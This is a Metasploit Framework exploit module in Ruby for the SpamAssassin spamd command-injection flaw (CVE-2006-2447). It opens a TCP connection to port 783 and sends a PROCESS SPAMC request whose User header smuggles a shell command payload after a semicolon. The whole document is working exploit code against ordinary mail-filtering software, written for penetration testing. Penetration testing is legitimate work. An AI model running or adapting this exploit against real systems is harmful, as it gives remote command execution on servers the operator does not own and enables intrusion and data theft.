SpamAssassin spamd Remote Command Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SpamAssassin spamd Remote Command Execution',  
'Description' => %q{  
This module exploits a flaw in the SpamAssassin spamd service by specifying  
a malicious vpopmail User header, when running with vpopmail and paranoid  
modes enabled (non-default). Versions prior to v3.1.3 are vulnerable   
},  
'Author' => [ 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-2447' ],  
[ 'OSVDB', '26177' ],  
[ 'BID', '18290' ],  
[ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},   
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>   
[  
[ 'Automatic', { }],  
],  
'DisclosureDate' => 'Jun 06 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(783)  
], self.class)  
end  
  
def exploit  
connect  
  
content = Rex::Text.rand_text_alpha(20)  
  
sploit = "PROCESS SPAMC/1.2\r\n"  
sploit << "Content-length: #{(content.length + 2)}\r\n"  
sploit << "User: ;#{payload.encoded}\r\n\r\n"  
sploit << content + "\r\n\r\n"  
  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
  
`